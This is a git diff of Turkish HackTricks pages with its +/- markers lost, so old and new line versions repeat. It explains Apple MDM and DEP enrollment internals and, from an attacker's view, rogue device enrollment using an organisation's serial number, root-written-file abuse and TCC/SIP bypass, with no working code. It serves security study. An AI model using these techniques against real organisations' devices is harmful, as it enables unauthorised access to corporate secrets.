[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM), akıllı telefonlar, dizüstü bilgisayarlar ve tabletler gibi çeşitli son kullanıcı cihazlarının yönetimi için kullanılır. Özellikle Apple'ın platformları (iOS, macOS, tvOS) için, özel özellikler, API'lar ve uygulamalar içerir. MDM'nin işleyişi, uyumlu bir MDM sunucusuna dayanır, bu sunucu ticari olarak temin edilebilir veya açık kaynaklı olabilir ve [MDM Protokolü](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)'nü desteklemelidir. Anahtar noktalar şunları içerir:
[Mobil Cihaz Yönetimi](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM), akıllı telefonlar, dizüstü bilgisayarlar ve tabletler gibi çeşitli son kullanıcı cihazlarının yönetimi için kullanılır. Özellikle Apple'ın platformları (iOS, macOS, tvOS) için, özel özellikler, API'lar ve uygulamaları içerir. MDM'nin işleyişi, MDM protokolünü destekleyen ticari olarak temin edilebilen veya açık kaynaklı bir MDM sunucusuna dayanır. Anahtar noktalar şunları içerir:
* Cihazlar üzerinde merkezi kontrol.
* MDM protokolüne uygun bir MDM sunucusuna bağımlılık.
@ -31,29 +32,29 @@ HackTricks'ı desteklemenin diğer yolları:
### **DEP (Cihaz Kayıt Programı) Temelleri**
Apple tarafından sunulan [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP), iOS, macOS ve tvOS cihazları için sıfır dokunuş yapılandırma sağlayarak Mobil Cihaz Yönetimi (MDM) entegrasyonunu kolaylaştırır. DEP, cihazların kutudan çıkar çıkmaz operasyonel hale gelmesini sağlayarak kayıt sürecini otomatikleştirir ve kullanıcı veya yönetici müdahalesini minimuma indirir. Temel noktalar şunları içerir:
Apple tarafından sunulan [Cihaz Kayıt Programı](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP), iOS, macOS ve tvOS cihazları için sıfır dokunuşlu yapılandırmayı kolaylaştırarak Mobil Cihaz Yönetimi (MDM) entegrasyonunu basitleştirir. DEP, cihazların kutudan çıkar çıkmaz operasyonel hale gelmesini sağlayarak kayıt sürecini otomatikleştirir ve kullanıcı veya yönetici müdahalesini minimuma indirir. Temel noktalar şunları içerir:
* Cihazların ilk etkinleştirilmesinde önceden tanımlanmış bir MDM sunucusuna otomatik olarak kaydolmalarını sağlar.
* Başlangıçta yeni cihazlar için faydalı olmasının yanı sıra, yeniden yapılandırılan cihazlar için de uygundur.
* Basit bir kurulum sağlayarak cihazları hızla kuruluşun kullanımına hazır hale getirir.
* Öncelikle yeni cihazlar için faydalı olmakla birlikte, yeniden yapılandırılan cihazlar için de uygundur.
* Cihazların hızlı bir şekilde kurulmasını sağlayarak, cihazları organizasyonel kullanıma hızlı bir şekilde hazır hale getirir.
### **Güvenlik Düşünceleri**
DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sıra güvenlik riskleri de oluşturabileceği önemlidir. MDM kaydı için yeterli koruma önlemleri uygulanmazsa, saldırganlar bu kolaylaştırılmış süreci kullanarak kuruluşun MDM sunucusuna kendi cihazlarını kaydedebilir ve kurumsal cihaz gibi görünebilirler.
DEP tarafından sağlanan kayıt kolaylığının faydalı olmasına rağmen, uygun koruma önlemlerinin MDM kaydı için yeterince uygulanmaması durumunda güvenlik riskleri oluşturabileceği önemlidir. Eğer MDM kaydı için koruyucu önlemler yeterince uygulanmazsa, saldırganlar bu basitleştirilmiş süreci kullanarak kurumsal cihazları taklit ederek kendi cihazlarını kuruluşun MDM sunucusuna kaydedebilirler.
{% hint style="danger" %}
**Güvenlik Uyarısı**: Basitleştirilmiş DEP kaydı, uygun koruma önlemleri alınmazsa, yetkisiz cihaz kaydına izin verebilir.
**Güvenlik Uyarısı**: Basitleştirilmiş DEP kaydı, uygun koruma önlemleri olmadığında yetkisiz cihaz kaydına izin verebilir.
{% endhint %}
### SCEP (Basit Sertifika Kayıt Protokolü) Nedir?
* Göreceli olarak eski bir protokol, TLS ve HTTPS yaygınlaşmadan önce oluşturulmuştur.
* Müşterilere bir **Sertifika İmzalama İsteği** (CSR) göndermek için standartlaştırılmış bir yol sağlar. Müşteri, sunucudan kendisine imzalı bir sertifika vermesini ister.
* Müşterilere bir **Sertifika İmzalama İsteği** (CSR) gönderme standart bir yol sağlar. Müşteri, sunucudan kendisine imzalı bir sertifika vermesini ister.
### Yapılandırma Profilleri (aka mobileconfigs) Nedir?
* Apple'ın resmi **sistem yapılandırmasını belirleme/zorlama** yoludur.
* Birden fazla yük içerebilen dosya formatı.
* Birden fazla yük taşıyabilen dosya formatı.
* Özellik listelerine (XML türünden) dayanır.
* "kökenlerini doğrulamak, bütünlüklerini sağlamak ve içeriklerini korumak için imzalanabilir ve şifrelenebilir." Temeller — Sayfa 70, iOS Güvenlik Kılavuzu, Ocak 2018.
@ -61,26 +62,26 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı
### MDM
* APNs (**Apple sunucuları**) + RESTful API (**MDM** **satıcı** sunucuları) kombinasyonu
* **İletişim**, bir **cihaz** ile bir **cihaz yönetimi** **ürününe** bağlı bir sunucu arasında gerçekleşir
* APNs (**Apple sunucuları**) + RESTful API (**MDM satıcı** sunucuları) kombinasyonu
* **İletişim**, bir **cihaz** ve bir **cihaz yönetimi ürünü** ile ilişkili bir sunucu arasında gerçekleşir
* **Komutlar**, MDM'den cihaza **plist kodlu sözlükler** şeklinde iletilir
* Tümü **HTTPS** üzerinden. MDM sunucuları (genellikle) sabitlenebilir.
* Apple, MDM satıcısına kimlik doğrulaması için bir **APNs sertifikası** verir
### DEP
* **3 API**: bayiler için 1, MDM satıcıları için 1, cihaz kimliği için 1 (belgelenmemiş):
* **3 API**: 1 bayiler için, 1 MDM satıcıları için, 1 cihaz kimliği için (belgelenmemiş):
* Sözde [DEP "bulut hizmeti" API'si](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Bu, MDM sunucularının DEP profillerini belirli cihazlarla ilişkilendirmek için kullandığı API'dir.
* [Apple Yetkili Bayileri tarafından kullanılan DEP API'si](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html), cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için.
* Belgelenmemiş özel DEP API'si. Bu, Apple Cihazlarının DEP profillerini istemek için kullanılır. macOS'ta, `cloudconfigurationd` ikili dosyası bu API üzerinden iletişim kurar.
* [Apple Yetkili Bayiler tarafından kullanılan DEP API'si](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html), cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için kullanılır.
* Belgelenmemiş özel DEP API. Bu, Apple Cihazlarının DEP profillerini istemek için kullanılır. macOS'ta, `cloudconfigurationd` ikili dosyası bu API üzerinden iletişim kurar.
* Daha modern ve **JSON** tabanlı (plist karşısında)
* Apple, MDM satıcısına bir **OAuth belirteci** verir
**DEP "bulut hizmeti" API'si**
* RESTful
* Apple'dan MDM sunucusuna cihaz kayıtlarını senkronize eder
* MDM sunucusundan Apple'a "DEP profillerini" senkronize eder (daha sonra cihaza Apple tarafından iletilir)
* Apple'dan MDM sunucusuna cihaz kayıtlarını senkronize et
* MDM sunucusundan Apple'a "DEP profillerini" senkronize et (daha sonra cihaza Apple tarafından iletilir)
* Bir DEP "profil" şunları içerir:
* MDM satıcı sunucu URL'si
* Sunucu URL'si için ek güvenilir sertifikalar (isteğe bağlı sabitleme)
@ -88,7 +89,7 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı
## Seri Numarası
2010'dan sonra üretilen Apple cihazlarının genellikle **12 karakterli alfasayısal** seri numaraları vardır, **ilk üç rakamın üretim yeri**, **sonraki iki rakamın üretim yılı ve haftası**, **bir sonraki üç rakamın benzersiz tanımlayıcısı** ve **sondaki dört rakamın model numarası** olduğu bilinmektedir.
2010'dan sonra üretilen Apple cihazlarının genellikle **12 karakterli alfasayısal** seri numaraları vardır, **ilk üç rakamın üretim yeri**, ardından **üretim yılını ve haftasını belirten iki rakam**, bir **benzersiz tanımlayıcı sağlayan üç rakam** ve **model numarasını temsil eden son dört rakam** bulunur.
{% content-ref url="macos-serial-number.md" %}
[macos-serial-number.md](macos-serial-number.md)
@ -98,7 +99,7 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı
1. Cihaz kaydı oluşturma (Bayi, Apple): Yeni cihaz için kayıt oluşturulur
2. Cihaz kaydı atama (Müşteri): Cihaz bir MDM sunucusuna atanır
3. Cihaz kaydı senkronizasyonu (MDM satıcısı): MDM, cihaz kayıtlarını senkronize eder ve DEP profillerini Apple'a gönderir
3. Cihaz kaydı senkronizasyonu (MDM satıcısı): MDM cihaz kayıtlarını senkronize eder ve DEP profillerini Apple'a gönderir
4. DEP kontrolü (Cihaz): Cihaz DEP profilini alır
5. Profil alımı (Cihaz)
6. Profil kurulumu (Cihaz) a. MDM, SCEP ve kök CA yükleri dahil
@ -106,33 +107,33 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı
![](<../../../.gitbook/assets/image (694).png>)
`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` dosyası, kayıt sürecinin **yüksek seviye "adımları"** olarak kabul edilebilecek işlevleri ihraç eder.
`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` dosyası, kayıt sürecinin **yüksek seviyeli "adımları"** olarak kabul edilebilecek işlevleri ihraç eder.
### Adım 4: DEP kontrolü - Aktivasyon Kaydının Alınması
Bu sürecin bir parçası, bir **kullanıcının bir Mac'i ilk kez başlattığında** (veya tamamen silindikten sonra) gerçekleşir
Bu sürecin bir parçası, bir **kullanıcının bir Mac'i ilk kez başlattığında** (veya tam bir silme işleminden sonra)
![](<../../../.gitbook/assets/image (1044).png>)
veya `sudo profiles show -type enrollment` komutunu çalıştırdığında
veya `sudo profiles show -type enrollment` komutunu çalıştırdığında gerçekleşir
* **Cihazın DEP özelliğine sahip olup olmadığını belirle**
* Aktivasyon Kaydı, DEP "profilinin" iç ismidir
* **Cihazın DEP özellikli olup olmadığını belirle**
* Aktivasyon Kaydı, DEP "profil"i için iç isimdir
* Cihazın İnternete bağlandığı anda başlar
* **`CPFetchActivationRecord`** tarafından yönlendirilir
* **`cloudconfigurationd`** tarafından XPC aracılığıyla uygulanır. Cihaz ilk kez başlatıldığında **"Kurulum Yardımcısı"** veya **`profiles`** komutu, aktivasyon kaydını almak için bu daemon'a **bağlanır**.
* **`cloudconfigurationd`** tarafından XPC aracılığıyla uygulanır. Cihaz ilk kez başlatıldığında **"Kurulum Yardımcısı**" veya **`profiles`** komutu bu hizmete başvurmak için bu daemon ile iletişim kurar.
* LaunchDaemon (her zaman root olarak çalışır)
Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından gerçekleştirilen birkaç adım izlenir. Bu süreçte **Absinthe** adı verilen bir şifreleme kullanılır
Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından gerçekleştirilen birkaç adımı takip eder. Bu süreç **Absinthe** adı verilen bir şifreleme kullanır
1. **Sertifika** al
1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) adresinden al
1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) adresinden GET isteği yap
2. Sertifikadan durumu başlat (**`NACInit`**)
1. Çeşitli cihaz özel verilerini kullanır (örneğin **`IOKit`** üzerinden Seri Numarası)
3. **Oturum anahtarını** al
1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) adresine POST et
1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) adresine POST isteği yap
4. Oturumu oluştur (**`NACKeyEstablishment`**)
5. İsteği yap
1. `{ "action": "RequestProfileConfiguration", "sn": "" }` verilerini göndererek [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) adresine POST et
1. `{ "action": "RequestProfileConfiguration", "sn": "" }` verilerini göndererek [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) adresine POST isteği yap
2. JSON yükü **Absinthe** kullanılarak şifrelenir (**`NACSign`**)
3. Tüm istekler HTTPS üzerinden yapılır, yerleşik kök sertifikalar kullanılır
@ -148,15 +149,15 @@ Yanıt, aşağıdaki gibi bazı önemli veriler içeren bir JSON sözlüğüdür
![](<../../../.gitbook/assets/image (444).png>)
* DEP profilde sağlanan **URL'ye** istek gönderilir.
* Eğer sağlanmışsa, **anchor sertifikaları** güveni **değerlendirmek** için kullanılır.
* Hatırlatma: DEP profildeki **anchor\_certs** özelliği
* İstek, cihaz kimliği ile ilgili basit bir .plist dosyasıdır
* Eğer sağlanmışsa, **Güvenilir kök sertifikalar** güveni **değerlendirmek** için kullanılır.
* Hatırlatma: DEP profili **anchor\_certs** özelliği
* İstek, cihaz kimliği gibi **basit bir .plist** içerir
* Örnekler: **UDID, OS sürümü**.
* CMS imzalı, DER kodlanmış
* **APNS'den alınan cihaz kimlik sertifikası ile imzalanmıştır**
* **APNS'den cihaz kimlik sertifikası kullanılarak imzalanmıştır**
* **Sertifika zinciri**, süresi dolmuş **Apple iPhone Device CA** içerir
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Adım 6: Profil Kurulumu
@ -165,18 +166,18 @@ Yanıt, aşağıdaki gibi bazı önemli veriler içeren bir JSON sözlüğüdür
* **`CPInstallActivationProfile`** tarafından yönlendirilir
* mdmclient üzerinden XPC ile uygulanır
* LaunchDaemon (root olarak) veya LaunchAgent (kullanıcı olarak), bağlama bağlı olarak
* Yapılandırma profillerinin yüklenmesi için birden fazla yük içerir
* Framework, profilleri yüklemek için bir eklenti tabanlı mimariye sahiptir
* Her yük türü bir eklenti ile ilişkilendirilir
* XPC (framework içinde) veya klasik Cocoa (ManagedClient.app içinde) olabilir
* Yapılandırma profilleri yüklemek için birden fazla yük içerir
* Framework, profilleri yüklemek için eklenti tabanlı bir mimariye sahiptir
* Her yük türü bir eklentiyle ilişkilendirilir
* XPC (çerçevede) veya klasik Cocoa (ManagedClient.app içinde) olabilir
* Örnek:
* Sertifika Yükleri SertifikaServisi.xpc kullanır
Genellikle, bir MDM satıcısı tarafından sağlanan **aktivasyon profili** aşağıdaki yükleri içerecektir:
Genellikle bir MDM satıcısı tarafından sağlanan **aktivasyon profili**, aşağıdaki yükleri içerecektir:
* Cihazı MDM'ye **kaydetmek** için `com.apple.mdm`
* Cihaza güvenli bir **istemci sertifikası** sağlamak için `com.apple.security.scep`
* Cihazın Sistem Anahtar Zincirine **güvenilir CA sertifikalarını yüklemek** için `com.apple.security.pem`
* Cihaza güvenli bir şekilde bir **istemci sertifikası** sağlamak için `com.apple.security.scep`
* Cihazın Sistem Anahtar Zincirine **güvenilir CA sertifikaları yüklemek** için `com.apple.security.pem`
* MDM yükünü yüklemek, belgelerdeki **MDM kontrolüne** eşdeğerdir
* Yük, aşağıdaki ana özellikleri içerir:
*
@ -184,45 +185,20 @@ Genellikle, bir MDM satıcısı tarafından sağlanan **aktivasyon profili** aş
* MDM Komut Anketleme URL'si (**`ServerURL`**) + tetiklemek için APNs konusu
* MDM yükünü yüklemek için istek **`CheckInURL`** adresine gönderilir
* **`mdmclient`** tarafından uygulanır
* MDM yükü diğer yüklerden etkilenebilir
* **İsteklerin belirli sertifikalara bağlanmasına izin verir**:
* MDM yükü diğer yüklerden bağımlı olabilir
* **İsteklerin belirli sertifikalara sabitlenmesine izin verir**:
* Özellik: **`CheckInURLPinningCertificateUUIDs`**
* Özellik: **`ServerURLPinningCertificateUUIDs`**
* PEM yükü ile teslim edilir
* PEM yükü ile iletilir
* Cihazın bir kimlik sertifikası ile ilişkilendirilmesine izin verir:
* Özellik: KimlikSertifikasıUUID
* SCEP yükü ile teslim edilir
* Özellik: KimlikSertifikasiUUID
* SCEP yükü ile iletilir
### Adım 7: MDM komutlarını dinleme
MDM kontrolü tamamlandıktan sonra, satıcı APNs'yi kullanarak **itme bildirimleri gönderebilir**
MDM kontrolü tamamlandıktan sonra, satıcı APNs'yi kullanarak **itme bildirimleri** gönderebilir
Alındığında, **`mdmclient`** tarafından işlenir
MDM komutları için anket yapmak için istek **ServerURL** adresine gönderilir
Daha önce yüklenen MDM yükünden yararlanır:
Daha önce yüklenen MDM yükü kullanılır:
İsteği sabitlemek için **`ServerURLPinningCertificateUUIDs`**
TLS istemci sertifikası için **`IdentityCertificateUUID`** kullanır
## Saldırılar
### Diğer Organizasyonlara Cihazları Kaydetme
Daha önce belirtildiği gibi, bir cihazı bir organizasyona **kaydetmek için yalnızca o Organizasyona ait bir Seri Numarası gereklidir**. Cihaz kaydedildikten sonra, birçok organizasyon yeni cihaza hassas veriler yükleyecektir: sertifikalar, uygulamalar, WiFi şifreleri, VPN yapılandırmaları [ve benzeri](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Bu nedenle, kayıt süreci doğru şekilde korunmazsa, bu saldırganlar için tehlikeli bir giriş noktası olabilir:
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
{% endcontent-ref %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.**
</details>
TLS istemci sertifikası için **`IdentityCertificateUUID`**

View file

@ -1,18 +1,19 @@
# macOS Güvenliği ve Yetki Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
@ -25,13 +26,13 @@ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
## Temel MacOS
Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmeye başlamalısınız:
MacOS'u tanımıyorsanız, MacOS'un temellerini öğrenmeye başlamalısınız:
* Özel macOS **dosyaları ve izinleri:**
@ -57,18 +58,18 @@ Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmey
[mac-os-architecture](mac-os-architecture/)
{% endcontent-ref %}
* Ortak macOS ağ hizmetleri ve protokolleri
* Ortak macOS **ağ hizmetleri ve protokolleri**
{% content-ref url="macos-protocols.md" %}
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
* **Açık kaynak** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* Bir `tar.gz` dosyası indirmek için [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin
* Bir `tar.gz` indirmek için [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin
### MacOS MDM
Şirketlerde **macOS** sistemleri büyük olasılıkla bir MDM ile **yönetilecektir**. Bu nedenle, bir saldırganın bakış açısından **bu nasıl çalışır** öğrenmek ilginç olacaktır:
Şirketlerde **macOS** sistemlerinin büyük olasılıkla bir **MDM ile yönetileceği** unutulmamalıdır. Bu nedenle, bir saldırganın bakış açısından **bu nasıl çalışır** bilgisi önemlidir:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
@ -93,12 +94,12 @@ Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmey
Eğer **kök olarak çalışan bir işlem** bir kullanıcı tarafından kontrol edilebilen bir dosyaya yazarsa, kullanıcı bu durumu **yetki yükseltmek** için kötüye kullanabilir.\
Bu durumlar şunlardan kaynaklanabilir:
* Kullanıcı tarafından zaten oluşturulmuş olan dosya (kullanıcı tarafından sahip olunan)
* Dosya, bir grup tarafından yazılabilir durumdaysa kullanıcı tarafından yazılabilir
* Dosya, kullanıcı tarafından sahip olunan bir dizinin içinde ise (kullanıcı dosyayı oluşturabilir)
* Dosya, kök tarafından sahip olunan bir dizinin içinde ise ancak kullanıcının bir grup sayesinde yazma erişimi varsa (kullanıcı dosyayı oluşturabilir)
* Kullanıcı tarafından zaten oluşturulmuş olan dosya (kullanıcıya ait)
* Dosya, bir grup tarafından yazılabilir durumda olduğu için kullanıcı tarafından yazılabilir
* Dosya, kullanıcıya ait olan bir dizin içinde bulunuyorsa (kullanıcı dosyayı oluşturabilir)
* Dosya, kök tarafından sahip olunan bir dizin içinde bulunuyorsa ancak kullanıcının bir grup tarafından yazma erişimi varsa (kullanıcı dosyayı oluşturabilir)
**Kök tarafından kullanılacak bir dosya oluşturabilmek**, bir kullanıcının içeriğinden **yararlanmasına** veya hatta onu başka bir yere **sembolik bağlantılar/sabit bağlantılar** oluşturmasına olanak tanır.
**Kök tarafından kullanılacak bir dosya** oluşturabilmek, bir kullanıcının dosyanın içeriğinden **yararlanmasına** veya hatta onu başka bir yere yönlendirmek için **sembolik bağlar/sabit bağlar** oluşturmasına olanak tanır.
Bu tür zafiyetler için **savunmasız `.pkg` yükleyicilerini** kontrol etmeyi unutmayın:
@ -116,17 +117,17 @@ Dosya uzantıları tarafından kaydedilen garip uygulamalar kötüye kullanılab
## macOS TCC / SIP Yetki Yükseltme
macOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı hale getiren klasörleri veya ayarları erişmek için izinlere sahip olabilir.
MacOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı hale getiren klasörleri veya ayarları erişmek için izinlere sahip olabilir.
Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırganın **TCC ayrıcalıklarını yükseltmesi** gerekecektir (veya ihtiyaçlarına bağlı olarak **SIP'yi atlaması** gerekebilir).
Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırganın, MacOS'ta **TCC ayrıcalıklarını yükseltmesi** gerekecektir (veya ihtiyacına bağlı olarak **SIP'yi atlaması** gerekebilir).
Bu ayrıcalıklar genellikle uygulamanın imzalandığı **yetkilendirmeler** şeklinde verilir veya uygulama bazı erişimler isteyebilir ve **kullanıcı bunları onayladıktan sonra** bu erişimler **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin başka bir yolu da, genellikle **miras alındıkları için** bu ayrıcalıklara sahip bir işlemin **çocuğu olmaktır**.
Bu ayrıcalıklar genellikle uygulamanın imzalandığı **yetkilendirme** biçiminde verilir veya uygulama bazı erişimler isteyebilir ve **kullanıcı onayladıktan sonra** bu erişimler **TCC veritabanlarında** bulunabilir. Bir işlemin bu ayrıcalıkları elde etmenin başka bir yolu da, genellikle **miras alındıkları için** bu ayrıcalıklara sahip bir işlemin **çocuğu olmaktır**.
Bu bağlantıları takip ederek farklı yolları bulabilirsiniz: [**TCC'de ayrıcalıkları yükseltmek**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte **SIP'nin nasıl atlatıldığını** görmek için [**buraya**](macos-security-protections/macos-sip.md#sip-bypasses) bakın.
Bu bağlantıları takip ederek [**TCC'de ayrıcalıkları yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak için**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte **SIP'nin nasıl atlatıldığını** öğrenin.
## macOS Geleneksel Yetki Yükseltme
Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yükselmeniz de önemli olacaktır. Bazı ipuçları için aşağıdaki yazıya göz atın:
Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yükselmek de önemlidir. Bazı ipuçları için aşağıdaki gönderiyi kontrol edin:
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -141,29 +142,30 @@ Tabii ki, bir kırmızı takımın bakış açısından kök yetkilerine yüksel
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişime geçin!
**Hacking İçgörüleri**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
**En Son Duyurular**\
Yayınlanan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi edinin
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
**Bize Katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
{% hint style="success" %}
